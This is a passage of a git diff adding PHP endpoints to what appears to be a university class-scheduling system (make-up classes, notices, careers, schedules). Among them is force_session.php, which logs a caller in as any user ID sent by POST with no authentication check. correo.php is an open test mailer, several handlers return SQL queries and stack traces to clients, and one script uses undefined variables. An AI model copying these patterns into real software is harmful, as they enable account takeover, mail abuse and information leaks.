* Inserta reposición
|
||||||
|
*/
|
||||||
|
$pag = "../reposiciones_crear.php";
|
||||||
|
$ruta = "../";
|
||||||
|
require_once "../class/c_login.php";
|
||||||
|
require_once "../class/mailer.php";
|
||||||
|
|
||||||
|
define("COORDINADOR", 9);
|
||||||
|
define("ENVIO_CORREOS", true);
|
||||||
|
|
||||||
|
// check if the session is started
|
||||||
|
if (!isset($_SESSION['user']))
|
||||||
|
die('No se ha iniciado sesión');
|
||||||
|
|
||||||
|
$user = unserialize($_SESSION['user']);
|
||||||
|
//$user->access();
|
||||||
|
|
||||||
|
$duracion_id = filter_input(INPUT_POST, "duracion", FILTER_SANITIZE_NUMBER_INT);//Id reposicion
|
||||||
|
$fecha = trim(htmlspecialchars($_POST["fecha_inicial"], ENT_QUOTES, "UTF-8"));//limpia texto
|
||||||
|
$fecha_cambio = trim(htmlspecialchars($_POST["fecha_cambio"], ENT_QUOTES, "UTF-8"));//limpia texto
|
||||||
|
$hora_ini = filter_input(INPUT_POST, "hora_ini", FILTER_SANITIZE_NUMBER_INT);//limpia texto
|
||||||
|
$min_ini = filter_input(INPUT_POST, "min_ini", FILTER_SANITIZE_NUMBER_INT);//limpia texto
|
||||||
|
$alumnos = filter_input(INPUT_POST, "alumnos", FILTER_SANITIZE_NUMBER_INT);//limpia texto
|
||||||
|
$aula = filter_input(INPUT_POST, "aula", FILTER_SANITIZE_NUMBER_INT);//1 regular , 2 sala computo, 3 otro facultad
|
||||||
|
|
||||||
|
if(empty($_POST["prof"]))
|
||||||
|
$prof = $user["id"];
|
||||||
|
else
|
||||||
|
$prof = filter_input(INPUT_POST, "prof", FILTER_SANITIZE_NUMBER_INT);//limpia texto
|
||||||
|
//if(isset($_POST["salon"]) && $_POST["salon"] != "")
|
||||||
|
//$salon = trim(filter_input(INPUT_POST, "salon", FILTER_SANITIZE_STRING,array('flags' => FILTER_FLAG_STRIP_LOW)));//limpia texto
|
||||||
|
$comentario = trim(htmlspecialchars($_POST["comentario"], ENT_QUOTES, "UTF-8"));//limpia texto
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
$duracion_rs = $db->querySingle("select * from duracion where duracion_id = :id", [":id"=>$duracion_id]);
|
||||||
|
$duracion_tiempo = $duracion_rs["duracion_interval"];
|
||||||
|
|
||||||
|
//-- Obtiene datos de horario regular de clase
|
||||||
|
$horario_rs = $db->querySingle('SELECT * from horario_view where horario_id = :hor',
|
||||||
|
[':hor' => $hor]
|
||||||
|
);
|
||||||
|
|
||||||
|
$materia = $horario_rs["materia_id"];
|
||||||
|
$dia = $horario_rs["horario_dia"];
|
||||||
|
|
||||||
|
$hora = $hora_ini.":".$min_ini.":00";
|
||||||
|
$fecha_new = DateTime::createFromFormat('d/m/Y', $fecha)->format('Y-m-d')." ".$hora;
|
||||||
|
$fecha_fin_new = date("Y-m-d", strtotime($fecha_new))." ".$duracion_tiempo;
|
||||||
|
$dia_new = date('w', strtotime($fecha_new));
|
||||||
|
|
||||||
|
$fecha_falta = DateTime::createFromFormat('d/m/Y', $fecha_falta)->format('Y-m-d');
|
||||||
|
$dia_falta = date('w', strtotime($fecha_falta));
|
||||||
|
|
||||||
|
|
||||||
|
//Valida que tenga clase en la fecha de falta
|
||||||
|
if(intval($dia) != intval($dia_falta)){
|
||||||
|
header("Location:".$pag."?error=11");
|
||||||
|
/*print_r($_POST);
|
||||||
|
echo 'SELECT * from horario_view where horario_id = '.$hor;
|
||||||
|
echo intval($dia)." != ".intval($dia_falta);*/
|
||||||
|
exit();
|
||||||
|
}
|
||||||
|
|
||||||
|
//Obtiene materia
|
||||||
|
$materia_rs = $db->querySingle('SELECT materia_nombre from materia where materia_id = :mat',[':mat' => $materia]);
|
||||||
|
|
||||||
|
//Obtiene correo
|
||||||
|
$correos_rs = $db->querySingle('SELECT coor.usuario_correo, coor.usuario_nombre from usuario coor where rol_id = :rol_coord and facultad_id = (
|
||||||
|
select coalesce(facultad_id,0) from usuario u where u.usuario_id = :id_usr)',[':rol_coord' => COORDINADOR, ':id_usr' => $user->user["id"]]
|
||||||
|
);
|
||||||
|
if( count($correos_rs) > 0 ){
|
||||||
|
$to = $correos_rs["usuario_correo"];
|
||||||
|
}
|
||||||
|
|
||||||
|
if($tipo == 1){//Reposición
|
||||||
|
// Valida que grupo no tenga clases
|
||||||
|
/*$result = validaConflictoHoras($pdo, $gpo, $dia_new, $hora, $materia, "-", $fecha_new, $fecha_fin_new, $duracion);
|
||||||
|
if($result != ""){//error
|
||||||
|
//echo $result;
|
||||||
|
header("Location:".$pag."?error=7");
|
||||||
|
exit();
|
||||||
|
}
|
||||||
|
*/
|
||||||
|
//Valida que profesor no este en 2 reposiciones al mismo tiempo en la fecha nueva
|
||||||
|
|
||||||
|
$traslape = $db->querySingle('SELECT * from traslape_profesor_reposicion(:prof, :fecha, :hora, :dur)',
|
||||||
|
[':prof' => $prof, ':fecha'=>DateTime::createFromFormat('d/m/Y', $fecha)->format('Y-m-d'), ':hora'=>$hora, ':dur'=>$duracion_tiempo]
|
||||||
|
)["traslape_profesor_reposicion"];
|
||||||
|
if($traslape){
|
||||||
|
//print_r($_POST);
|
||||||
|
//echo "SELECT * from traslape_profesor_reposicion($prof,'".DateTime::createFromFormat('d/m/Y', $fecha)->format('Y-m-d')."' , '$hora', $duracion)";
|
||||||
|
|
||||||
|
header("Location:".$pag."?error=9");
|
||||||
|
exit();
|
||||||
|
}
|
||||||
|
|
||||||
|
try{
|
||||||
|
$db->query('SELECT * from fi_asignacion_solicitud(:f_nueva, :hora_nueva, :prof, 1, :desc, :alumnos, :aula, :duracion, :usr)',
|
||||||
|
[':f_nueva' => $fecha_new, ':hora_nueva' => $hora,
|
||||||
|
':prof' => $prof, ':desc' => $comentario, ':alumnos' => $alumnos, ':aula' => $aula, ':duracion' => $duracion_tiempo, ':usr'=>$user->user["id"]
|
||||||
|
]
|
||||||
|
);
|
||||||
|
}catch(Exception $e){
|
||||||
|
echo $e->getMessage();
|
||||||
|
//header("Location: ".$pag."?error=1");
|
||||||
|
exit();
|
||||||
|
}
|
||||||
|
$texto = "<p>Se creó una reposición nueva.</p>";
|
||||||
|
$texto .= "<p><b>".mb_strtoupper($materia_rs["materia_nombre"])."</b> del día <b>".$fecha_falta." a las ".$hor." hrs. </b> se propone reponer el <b>".$fecha_new." a las ".$hora." hrs.</b>";
|
||||||
|
$texto .= "<p>Ingresa al <a href='https://paad.lci.ulsa.mx'>sistema PAAD</a> para autorizarla.</p>";
|
||||||
|
|
||||||
|
/*
|
||||||
|
$log = new LogActividad();
|
||||||
|
$desc_log = "Inserta reposición nueva ID[".$rs["fi_reposicion"]."] Fechas[".$fecha_falta.">".$fecha_new."] Periodo[".$_SESSION["periodo_id"]."] Materia[".$materia."] Profesor[".$prof."] Salon[".$salon."] Horario[".$hor."] Alumnos[".$alumnos."]";
|
||||||
|
$log->appendLog($_SESSION["usuario_id"], $_SESSION["usuario_nombre"]." ".$_SESSION["usuario_apellidos"], $desc_log);*/
|
||||||
|
|
||||||
|
|
||||||
|
}else{//Cambio salón / hora
|
||||||
|
|
||||||
|
try{
|
||||||
|
$db->query('SELECT * from fi_reposicion_solicitud(:f_nueva, :hora_nueva, :hor, :prof, 1, :desc, :alumnos, true, :aula, :duracion, :usr)',
|
||||||
|
[':f_nueva' => $fecha_cambio, ':hora_nueva' => $hora, ':hor' => $hor,
|
||||||
|
':prof' => $prof, ':desc' => $comentario, ':alumnos' => $alumnos, ':aula' => $aula, ':duracion' => $duracion_tiempo, ':usr'=>$user->user["id"],
|
||||||
|
]
|
||||||
|
);
|
||||||
|
}catch(Exception $e){
|
||||||
|
|
||||||
|
header("Location: ".$pag."?error=1");
|
||||||
|
exit();
|
||||||
|
}
|
||||||
|
$texto = "<p>Se creó un cambio de salón nuevo.</p>";
|
||||||
|
$texto .= "<p><b>".mb_strtoupper($materia_rs["materia_nombre"])."</b> del día <b>".$fecha_falta." a las ".$hora." hrs. </b> se propone reponer el <b>".$fecha_nueva." a las ".$hora_nueva." hrs.</b>";
|
||||||
|
$texto .= "<p>Ingresa al <a href='https://paad.lci.ulsa.mx'>sistema PAAD</a> para autorizarlo.</p>";
|
||||||
|
|
||||||
|
/*
|
||||||
|
$log = new LogActividad();
|
||||||
|
$desc_log = "Inserta reposición nueva ID[".$rs["fi_reposicion"]."] Fechas[".$fecha_cambio.">".$fecha_cambio_nueva."] Periodo[".$_SESSION["periodo_id"]."] Materia[".$materia."] Profesor[".$prof."] Salon[".$salon."] Horario[".$hor."] Alumnos[".$alumnos."]";
|
||||||
|
$log->appendLog($_SESSION["usuario_id"], $_SESSION["usuario_nombre"]." ".$_SESSION["usuario_apellidos"], $desc_log);
|
||||||
|
*/
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
if($to!= "" && ENVIO_CORREOS){
|
||||||
|
$asunto = "Reposición nueva - solicitud";
|
||||||
|
//crear plantilla
|
||||||
|
$texto = '<body >
|
||||||
|
<img src="https://paad.lci.ulsa.mx/imagenes/logo_lasalle.png" alt="La Salle" style="margin-bottom:60px">
|
||||||
|
'.$texto.'
|
||||||
|
</body>';
|
||||||
|
|
||||||
|
require_once('../include/phpmailer/PHPMailerAutoload.php');
|
||||||
|
if($_ENV['DB_NAME'] == "paad_pruebas"){
|
||||||
|
$asunto = "PRUEBAS-".$asunto;
|
||||||
|
Mailer::enviarCorreo("alejandro.rosales@lasalle.mx", $asunto, $texto, true);
|
||||||
|
}else{
|
||||||
|
Mailer::enviarCorreo($to, $asunto, $texto, true);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
exit();
|
||||||
|
header("Location: ".$pag."?ok=0");
|
||||||
|
?>
|
||||||
26
action/asistenciasprofesor_select.php
Normal file
26
action/asistenciasprofesor_select.php
Normal file
@@ -0,0 +1,26 @@
|
|||||||
|
<?php
|
||||||
|
$ruta = "../";
|
||||||
|
require_once "../class/c_login.php";
|
||||||
|
|
||||||
|
// check if the session is started
|
||||||
|
if (!isset($_SESSION['user']))
|
||||||
|
die('No se ha iniciado sesión');
|
||||||
|
|
||||||
|
$user = unserialize($_SESSION['user']);
|
||||||
|
|
||||||
|
if(empty($_POST["id"]) || empty($_POST["hor"])){
|
||||||
|
$return["error"] = "Error! No se recibió la información del usuario.";
|
||||||
|
}else{
|
||||||
|
$id = filter_input(INPUT_POST, "id", FILTER_SANITIZE_NUMBER_INT);//limpia texto
|
||||||
|
$hor = filter_input(INPUT_POST, "hor", FILTER_SANITIZE_NUMBER_INT);//limpia texto
|
||||||
|
|
||||||
|
$rs = $db->query('SELECT * from fs_asistenciaprofesor_horario(:id, :hor)', [':id' => $id, ':hor' => $hor]);
|
||||||
|
$asistArr = array();
|
||||||
|
|
||||||
|
foreach($rs as $row){
|
||||||
|
$asistArr[] = $row["registro_fecha_ideal"];
|
||||||
|
}
|
||||||
|
$return["asistenciaArr"] = $asistArr;
|
||||||
|
}
|
||||||
|
echo json_encode($return);
|
||||||
|
?>
|
||||||
293
action/avisos.php
Normal file
293
action/avisos.php
Normal file
@@ -0,0 +1,293 @@
|
|||||||
|
<?
|
||||||
|
require_once "{$_SERVER['DOCUMENT_ROOT']}/class/c_login.php";
|
||||||
|
header('Content-Type: application/json');
|
||||||
|
|
||||||
|
if (!Login::is_logged()) {
|
||||||
|
header('HTTP/1.1 401 Unauthorized');
|
||||||
|
echo json_encode(array('error' => 'No se ha iniciado sesión'));
|
||||||
|
exit();
|
||||||
|
}
|
||||||
|
$user = Login::get_user();
|
||||||
|
try {
|
||||||
|
|
||||||
|
switch ($_SERVER['REQUEST_METHOD']) {
|
||||||
|
case 'GET':
|
||||||
|
$facultad_id = $user->facultad['facultad_id'];
|
||||||
|
$avisos = $db->query(
|
||||||
|
"SELECT * FROM aviso
|
||||||
|
WHERE
|
||||||
|
(CURRENT_DATE BETWEEN aviso_fecha_inicial AND aviso_fecha_final) AND
|
||||||
|
(facultad_id = :facultad_id OR :facultad_id IS NULL) AND
|
||||||
|
aviso_estado
|
||||||
|
ORDER BY aviso_id DESC",
|
||||||
|
array('facultad_id' => $facultad_id)
|
||||||
|
);
|
||||||
|
|
||||||
|
/*
|
||||||
|
if (empty($avisos)) {
|
||||||
|
header('HTTP/1.1 404 Not Found');
|
||||||
|
echo json_encode(array('error' => 'No hay avisos disponibles'));
|
||||||
|
exit();
|
||||||
|
}
|
||||||
|
*/
|
||||||
|
|
||||||
|
$avisos = array_map(fn($aviso) => array(
|
||||||
|
...$aviso,
|
||||||
|
'carreras' => $db->query(
|
||||||
|
"SELECT carrera_id, carrera_nombre FROM aviso_carrera
|
||||||
|
JOIN carrera USING (carrera_id)
|
||||||
|
WHERE aviso_id = :aviso_id",
|
||||||
|
array('aviso_id' => $aviso['aviso_id'])
|
||||||
|
),
|
||||||
|
'profesores' => $db->query(
|
||||||
|
"SELECT profesor_id, profesor_clave, profesor_nombre FROM aviso_profesor
|
||||||
|
JOIN profesor USING (profesor_id)
|
||||||
|
WHERE aviso_id = :aviso_id",
|
||||||
|
array('aviso_id' => $aviso['aviso_id'])
|
||||||
|
),
|
||||||
|
), $avisos);
|
||||||
|
echo json_encode($avisos);
|
||||||
|
break;
|
||||||
|
case 'POST':
|
||||||
|
$raw_input = file_get_contents('php://input');
|
||||||
|
if (empty($raw_input)) {
|
||||||
|
header('HTTP/1.1 400 Bad Request');
|
||||||
|
echo json_encode(array('error' => 'No se recibieron parámetros'));
|
||||||
|
exit();
|
||||||
|
}
|
||||||
|
|
||||||
|
$input_data = json_decode($raw_input);
|
||||||
|
if (json_last_error() !== JSON_ERROR_NONE) {
|
||||||
|
header('HTTP/1.1 400 Bad Request');
|
||||||
|
echo json_encode(array('error' => 'Invalid JSON format'));
|
||||||
|
exit();
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
$schema = <<<JSON
|
||||||
|
{
|
||||||
|
"\$schema": "http://json-schema.org/draft-07/schema#",
|
||||||
|
"type": "object",
|
||||||
|
"required": ["aviso_fecha_inicial", "aviso_fecha_final", "aviso_titulo", "aviso_texto"],
|
||||||
|
"properties": {
|
||||||
|
"aviso_fecha_inicial": {
|
||||||
|
"type": "string",
|
||||||
|
"format": "date"
|
||||||
|
},
|
||||||
|
"aviso_fecha_final": {
|
||||||
|
"type": "string",
|
||||||
|
"format": "date"
|
||||||
|
},
|
||||||
|
"aviso_texto": {
|
||||||
|
"type": "string"
|
||||||
|
},
|
||||||
|
"aviso_titulo": {
|
||||||
|
"type": "string"
|
||||||
|
},
|
||||||
|
"carreras": {
|
||||||
|
"type": "array",
|
||||||
|
"items": {
|
||||||
|
"type": "integer",
|
||||||
|
"minimum": 1
|
||||||
|
},
|
||||||
|
"minItems": 0,
|
||||||
|
"uniqueItems": true
|
||||||
|
},
|
||||||
|
"profesores": {
|
||||||
|
"type": "array",
|
||||||
|
"items": {
|
||||||
|
"type": "integer",
|
||||||
|
"minimum": 1
|
||||||
|
},
|
||||||
|
"minItems": 0,
|
||||||
|
"uniqueItems": true
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"anyOf": [
|
||||||
|
{"required": ["carreras"]},
|
||||||
|
{"required": ["profesores"]}
|
||||||
|
]
|
||||||
|
}
|
||||||
|
JSON;
|
||||||
|
// VALIDATE JSON SCHEMA
|
||||||
|
$validate = new JsonSchema\Validator();
|
||||||
|
$validate->validate($input_data, json_decode($schema));
|
||||||
|
|
||||||
|
if (!$validate->isValid()) {
|
||||||
|
header('HTTP/1.1 400 Bad Request');
|
||||||
|
echo json_encode(
|
||||||
|
array(
|
||||||
|
'error' => 'El formato de la solicitud es incorrecto',
|
||||||
|
'success' => false,
|
||||||
|
'errors' => $validate->getErrors()
|
||||||
|
)
|
||||||
|
);
|
||||||
|
exit();
|
||||||
|
}
|
||||||
|
|
||||||
|
$aviso_id = $db->insert(
|
||||||
|
'aviso',
|
||||||
|
array(
|
||||||
|
'aviso_fecha_inicial' => $input_data->aviso_fecha_inicial,
|
||||||
|
'aviso_fecha_final' => $input_data->aviso_fecha_final,
|
||||||
|
'aviso_texto' => $input_data->aviso_texto,
|
||||||
|
'facultad_id' => $user->facultad['facultad_id'],
|
||||||
|
),
|
||||||
|
'aviso_id'
|
||||||
|
);
|
||||||
|
|
||||||
|
if (isset($input_data->carreras)) {
|
||||||
|
array_walk($input_data->carreras, fn($carrera_id) => $db->insert('aviso_carrera', array('aviso_id' => $aviso_id, 'carrera_id' => $carrera_id)));
|
||||||
|
}
|
||||||
|
if (isset($input_data->profesores)) {
|
||||||
|
array_walk($input_data->profesores, fn($profesor_id) => $db->insert('aviso_profesor', array('aviso_id' => $aviso_id, 'profesor_id' => $profesor_id)));
|
||||||
|
}
|
||||||
|
|
||||||
|
echo json_encode(
|
||||||
|
array(
|
||||||
|
'aviso_id' => $aviso_id,
|
||||||
|
'msg' => 'Aviso creado exitosamente',
|
||||||
|
'success' => true
|
||||||
|
)
|
||||||
|
);
|
||||||
|
break;
|
||||||
|
case 'PUT':
|
||||||
|
$raw_input = file_get_contents('php://input');
|
||||||
|
if (empty($raw_input)) {
|
||||||
|
header('HTTP/1.1 400 Bad Request');
|
||||||
|
echo json_encode(array('error' => 'No se recibieron parámetros'));
|
||||||
|
exit();
|
||||||
|
}
|
||||||
|
|
||||||
|
$input_data = json_decode($raw_input);
|
||||||
|
if (json_last_error() !== JSON_ERROR_NONE) {
|
||||||
|
header('HTTP/1.1 400 Bad Request');
|
||||||
|
echo json_encode(array('error' => 'Invalid JSON format'));
|
||||||
|
exit();
|
||||||
|
}
|
||||||
|
|
||||||
|
$schema = <<<JSON
|
||||||
|
{
|
||||||
|
"\$schema": "http://json-schema.org/draft-07/schema#",
|
||||||
|
"type": "object",
|
||||||
|
"required": ["aviso_id", "aviso_fecha_final"],
|
||||||
|
"properties": {
|
||||||
|
"aviso_id": {
|
||||||
|
"type": "integer",
|
||||||
|
"minimum": 1
|
||||||
|
},
|
||||||
|
"aviso_fecha_final": {
|
||||||
|
"type": "string",
|
||||||
|
"format": "date"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
JSON;
|
||||||
|
|
||||||
|
// VALIDATE JSON SCHEMA
|
||||||
|
$validate = new JsonSchema\Validator();
|
||||||
|
$validate->validate($input_data, json_decode($schema));
|
||||||
|
|
||||||
|
if (!$validate->isValid()) {
|
||||||
|
header('HTTP/1.1 400 Bad Request');
|
||||||
|
echo json_encode(
|
||||||
|
array(
|
||||||
|
'error' => 'El formato de la solicitud es incorrecto',
|
||||||
|
'errors' => $validate->getErrors(),
|
||||||
|
'success' => false,
|
||||||
|
)
|
||||||
|
);
|
||||||
|
exit();
|
||||||
|
}
|
||||||
|
|
||||||
|
$db->where('aviso_id', $input_data->aviso_id)
|
||||||
|
->update(
|
||||||
|
'aviso',
|
||||||
|
array(
|
||||||
|
'aviso_fecha_final' => $input_data->aviso_fecha_final,
|
||||||
|
),
|
||||||
|
);
|
||||||
|
|
||||||
|
if (isset($input_data->carreras)) {
|
||||||
|
$db->where('aviso_id', $input_data->aviso_id)->delete('aviso_carrera');
|
||||||
|
array_walk($input_data->carreras, fn($carrera_id) => $db->insert('aviso_carrera', array('aviso_id' => $input_data->aviso_id, 'carrera_id' => $carrera_id)));
|
||||||
|
}
|
||||||
|
|
||||||
|
if (isset($input_data->profesores)) {
|
||||||
|
$db->where('aviso_id', $input_data->aviso_id)->delete('aviso_profesor');
|
||||||
|
array_walk($input_data->profesores, fn($profesor_id) => $db->insert('aviso_profesor', array('aviso_id' => $input_data->aviso_id, 'profesor_id' => $profesor_id)));
|
||||||
|
}
|
||||||
|
|
||||||
|
echo json_encode(
|
||||||
|
array(
|
||||||
|
'msg' => 'Aviso actualizado exitosamente',
|
||||||
|
'success' => true
|
||||||
|
)
|
||||||
|
);
|
||||||
|
break;
|
||||||
|
|
||||||
|
case 'DELETE':
|
||||||
|
$raw_input = file_get_contents('php://input');
|
||||||
|
if (empty($raw_input)) {
|
||||||
|
header('HTTP/1.1 400 Bad Request');
|
||||||
|
echo json_encode(array('error' => 'No se recibieron parámetros'));
|
||||||
|
exit();
|
||||||
|
}
|
||||||
|
|
||||||
|
$input_data = json_decode($raw_input);
|
||||||
|
if (json_last_error() !== JSON_ERROR_NONE) {
|
||||||
|
header('HTTP/1.1 400 Bad Request');
|
||||||
|
echo json_encode(array('error' => 'Invalid JSON format'));
|
||||||
|
exit();
|
||||||
|
}
|
||||||
|
|
||||||
|
$schema = <<<JSON
|
||||||
|
{
|
||||||
|
"\$schema": "http://json-schema.org/draft-07/schema#",
|
||||||
|
"type": "object",
|
||||||
|
"required": ["aviso_id"],
|
||||||
|
"properties": {
|
||||||
|
"aviso_id": {
|
||||||
|
"type": "integer",
|
||||||
|
"minimum": 1
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
JSON;
|
||||||
|
|
||||||
|
// VALIDATE JSON SCHEMA
|
||||||
|
$validate = new JsonSchema\Validator();
|
||||||
|
$validate->validate($input_data, json_decode($schema));
|
||||||
|
|
||||||
|
if (!$validate->isValid()) {
|
||||||
|
header('HTTP/1.1 400 Bad Request');
|
||||||
|
echo json_encode(
|
||||||
|
array(
|
||||||
|
'error' => 'El formato de la solicitud es incorrecto',
|
||||||
|
'errors' => $validate->getErrors(),
|
||||||
|
'success' => false,
|
||||||
|
)
|
||||||
|
);
|
||||||
|
exit();
|
||||||
|
}
|
||||||
|
|
||||||
|
$result = $db->where('aviso_id', $input_data->aviso_id)->update('aviso', array('aviso_estado' => false));
|
||||||
|
echo json_encode(
|
||||||
|
array(
|
||||||
|
'msg' => 'Aviso eliminado exitosamente',
|
||||||
|
'success' => true,
|
||||||
|
'result' => $result
|
||||||
|
)
|
||||||
|
);
|
||||||
|
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
} catch (PDOException $e) {
|
||||||
|
echo json_encode(
|
||||||
|
array(
|
||||||
|
'error' => $e->getMessage(),
|
||||||
|
'query' => $db->getLastQuery(),
|
||||||
|
'exception' => $e->getTraceAsString()
|
||||||
|
)
|
||||||
|
);
|
||||||
|
}
|
||||||
66
action/carrera.php
Normal file
66
action/carrera.php
Normal file
@@ -0,0 +1,66 @@
|
|||||||
|
<?php
|
||||||
|
require_once "{$_SERVER['DOCUMENT_ROOT']}/class/c_login.php";
|
||||||
|
header('Content-Type: application/json');
|
||||||
|
|
||||||
|
if (!Login::is_logged()) {
|
||||||
|
header('HTTP/1.1 401 Unauthorized');
|
||||||
|
echo json_encode(['error' => 'No se ha iniciado sesión']);
|
||||||
|
exit();
|
||||||
|
}
|
||||||
|
$user = Login::get_user();
|
||||||
|
|
||||||
|
try {
|
||||||
|
switch ($_SERVER['REQUEST_METHOD']) {
|
||||||
|
case 'GET':
|
||||||
|
// Fetch all puestos
|
||||||
|
$facultad_id = $user->facultad['facultad_id'];
|
||||||
|
$periodo_nivel_id = $db->where('periodo_id', $user->periodo_id)->getOne('periodo', 'nivel_id')['nivel_id'];
|
||||||
|
$carreras = $db->query(<<<SQL
|
||||||
|
SELECT carrera_id, carrera_nombre, clave_carrera,
|
||||||
|
facultad_id, facultad_nombre,
|
||||||
|
nivel_id, nivel_nombre
|
||||||
|
FROM carrera
|
||||||
|
join nivel using (nivel_id)
|
||||||
|
join facultad using (facultad_id)
|
||||||
|
WHERE facultad_id = :facultad_id OR :facultad_id IS NULL AND
|
||||||
|
nivel.nivel_id = :periodo_nivel_id
|
||||||
|
ORDER BY facultad_nombre, carrera_nombre
|
||||||
|
SQL, [
|
||||||
|
'facultad_id' => $facultad_id,
|
||||||
|
'periodo_nivel_id' => $periodo_nivel_id
|
||||||
|
]);
|
||||||
|
echo json_encode($carreras);
|
||||||
|
break;
|
||||||
|
|
||||||
|
case 'PUT':
|
||||||
|
// Update carrera {nivel_id}
|
||||||
|
$raw = file_get_contents('php://input');
|
||||||
|
$data = json_decode($raw, true);
|
||||||
|
|
||||||
|
if (!isset($data['carrera_id'], $data['nivel_id'])) {
|
||||||
|
header('HTTP/1.1 400 Bad Request');
|
||||||
|
echo json_encode(['error' => 'Falta el id de la carrera o el nivel']);
|
||||||
|
exit();
|
||||||
|
}
|
||||||
|
|
||||||
|
$carrera_id = $data['carrera_id'];
|
||||||
|
$nivel_id = $data['nivel_id'];
|
||||||
|
$db->where('carrera_id', $carrera_id)->update('carrera', ['nivel_id' => $nivel_id]);
|
||||||
|
|
||||||
|
$carrera_nombre = $db->where('carrera_id', $carrera_id)->getOne('carrera', 'carrera_nombre')['carrera_nombre'];
|
||||||
|
$nivel_nombre = $db->where('nivel_id', $nivel_id)->getOne('nivel', 'nivel_nombre')['nivel_nombre'];
|
||||||
|
|
||||||
|
echo json_encode(['success' => "$carrera_nombre actualizada a $nivel_nombre"]);
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
header('HTTP/1.1 405 Method Not Allowed');
|
||||||
|
echo json_encode(['error' => 'Método no permitido']);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
} catch (PDOException $e) {
|
||||||
|
echo json_encode([
|
||||||
|
'error' => $e->getMessage(),
|
||||||
|
'query' => $db->getLastQuery(),
|
||||||
|
'exception' => $e->getTraceAsString()
|
||||||
|
]);
|
||||||
|
}
|
||||||
10
action/carrera_find.php
Normal file
10
action/carrera_find.php
Normal file
@@ -0,0 +1,10 @@
|
|||||||
|
<?php
|
||||||
|
$ruta = '../';
|
||||||
|
require_once '../include/bd_pdo.php';
|
||||||
|
global $pdo;
|
||||||
|
|
||||||
|
$sql = "SELECT * FROM fs_carreras(:fac, null, null)";
|
||||||
|
$params = [':fac' => $_POST['fac_id']];
|
||||||
|
|
||||||
|
echo json_encode(query($sql, $params, false));
|
||||||
|
?>
|
||||||
20
action/correo.php
Normal file
20
action/correo.php
Normal file
@@ -0,0 +1,20 @@
|
|||||||
|
<?php
|
||||||
|
require_once '../class/mailer.php';
|
||||||
|
require_once('../include/phpmailer/PHPMailerAutoload.php');
|
||||||
|
ini_set('display_errors', 1);
|
||||||
|
ini_set('display_startup_errors', 1);
|
||||||
|
error_reporting(E_ALL);
|
||||||
|
|
||||||
|
if(!isset($_GET["correo"])){
|
||||||
|
echo "Debes especificar la dirección a la que se enviará el correo <strong>?correo=</strong>";
|
||||||
|
exit();
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
$to = $_GET["correo"];
|
||||||
|
$texto = "<h1>Esto es una prueba automatizada</h1><p>El correo se envió atutomáticamente, no debes hacer nada más.</p>";
|
||||||
|
$asunto="Prueba";
|
||||||
|
Mailer::enviarCorreo($to, $asunto, $texto, true);
|
||||||
|
echo "Enviado!".date("H:i:s");
|
||||||
|
|
||||||
|
?>
|
||||||
37
action/force_session.php
Normal file
37
action/force_session.php
Normal file
@@ -0,0 +1,37 @@
|
|||||||
|
<?php
|
||||||
|
$ruta = "../";
|
||||||
|
require_once '../class/c_login.php';
|
||||||
|
|
||||||
|
# print_r($_POST); exit;
|
||||||
|
extract($_POST); // $usuario
|
||||||
|
Login::log_out();
|
||||||
|
|
||||||
|
$user = query("SELECT * FROM FS_USUARIO WHERE ID = :id", [":id" => $usuario]);
|
||||||
|
// die(json_encode($user));
|
||||||
|
|
||||||
|
$facultad = [
|
||||||
|
"facultad_id" => $user["facultad"],
|
||||||
|
"facultad" => $user["facultad_nombre"]
|
||||||
|
];
|
||||||
|
|
||||||
|
$rol = [
|
||||||
|
"rol_id" => $user["rol"],
|
||||||
|
"rol" => $user["titulo"]
|
||||||
|
];
|
||||||
|
|
||||||
|
$admin = false;
|
||||||
|
|
||||||
|
$periodo = $user["periodo"];
|
||||||
|
|
||||||
|
$user = [
|
||||||
|
"id" => $user["id"],
|
||||||
|
"nombre" => $user["username"]
|
||||||
|
];
|
||||||
|
|
||||||
|
$user = new Login($user, $facultad, $rol, $admin, $periodo);
|
||||||
|
if (isset($_SESSION))
|
||||||
|
session_start();
|
||||||
|
$_SESSION['user'] = serialize($user);
|
||||||
|
|
||||||
|
header("Location: ../main.php");
|
||||||
|
exit;
|
||||||
46
action/horario_profesor.php
Normal file
46
action/horario_profesor.php
Normal file
@@ -0,0 +1,46 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
require_once "{$_SERVER['DOCUMENT_ROOT']}/class/c_login.php";
|
||||||
|
header('Content-Type: application/json');
|
||||||
|
|
||||||
|
if (!Login::is_logged()) {
|
||||||
|
header('HTTP/1.1 401 Unauthorized');
|
||||||
|
echo json_encode(['error' => 'No se ha iniciado sesión']);
|
||||||
|
exit();
|
||||||
|
}
|
||||||
|
$user = Login::get_user();
|
||||||
|
|
||||||
|
try {
|
||||||
|
switch ($_SERVER['REQUEST_METHOD']) {
|
||||||
|
case 'GET':
|
||||||
|
$profesor_id = $db
|
||||||
|
->where('profesor_clave', $_GET['profesor'])
|
||||||
|
->getOne('profesor', 'profesor_id');
|
||||||
|
// Fetch all puestos
|
||||||
|
$horarios = $db->query(<<<SQL
|
||||||
|
SELECT * FROM horario
|
||||||
|
|
||||||
|
NATURAL JOIN horario_profesor
|
||||||
|
NATURAL JOIN facultad
|
||||||
|
NATURAL LEFT JOIN materia
|
||||||
|
NATURAL LEFT JOIN carrera
|
||||||
|
|
||||||
|
WHERE periodo_id = ? AND profesor_id = ?
|
||||||
|
SQL,
|
||||||
|
[$user->periodo_id, $profesor_id['profesor_id']]
|
||||||
|
);
|
||||||
|
|
||||||
|
echo json_encode($horarios);
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
header('HTTP/1.1 405 Method Not Allowed');
|
||||||
|
echo json_encode(['error' => 'Método no permitido']);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
} catch (PDOException $e) {
|
||||||
|
echo json_encode([
|
||||||
|
